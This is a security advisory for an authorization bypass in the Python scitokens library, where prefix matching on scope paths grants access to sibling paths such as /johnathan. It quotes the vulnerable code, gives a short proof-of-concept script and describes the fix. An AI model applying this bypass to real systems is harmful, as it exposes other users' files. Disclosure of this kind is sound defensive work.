SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix CheckingGHSA-w8fp-g9rh-34jh
HIGHFix: scitokens/scitokens@7a237c0GHSA-w8fp-g9rh-34jh is a high-severity (CVSS 8.1) CWE-285 vulnerability in scitokens. A fix is available for scitokens — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w8fp-g9rh-34jh.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
scitokensReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.
Details
File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope
Vulnerable Code Snippets:
In _validate_scp (around line 696):
for scope in value:
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
In _validate_scope (around line 722):
for scope in value.split(" "):
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.
PoC
import scitokens
import sys
def poc_scope_bypass():
"""
Demonstrate an Authorization Bypass vulnerability in scope path checking.
"""
print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
issuer = "https://scitokens.org/unittest"
enforcer = scitokens.Enforcer(issuer)
# Create a token with access to /john
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/john"
print(f"Authorized path in scope: /john")
# 1. Test access to /john/file (should be allowed)
print(f"[1] Testing legitimate subpath: /john/file")
if enforcer.test(token, 'read', '/john/file'):
print(" -> Access GRANTED (Correct behavior)")
else:
print(" -> Access DENIED (Incorrect behavior - should have access to subpaths)")
# 2. Test access to /johnathan (SHOULD BE DENIED)
print(f"[2] Testing illegitimate sibling path: /johnathan")
if enforcer.test(token, 'read', '/johnathan'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
# 3. Test access to /johnny (SHOULD BE DENIED)
print(f"[3] Testing illegitimate sibling path: /johnny")
if enforcer.test(token, 'read', '/johnny'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
if __name__ == "__main__":
# Ensure scitokens from src/ is available
sys.path.insert(0, "src")
poc_scope_bypass()
Impact
This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | scitokens | all versions | 1.9.6pip install --upgrade 'scitokens==1.9.6' |
Affected Products
scitokens libraryscitokensDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update scitokens to 1.9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w8fp-g9rh-34jh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-w8fp-g9rh-34jh in your dependencies?
Find it across PyPI, including transitive dependencies.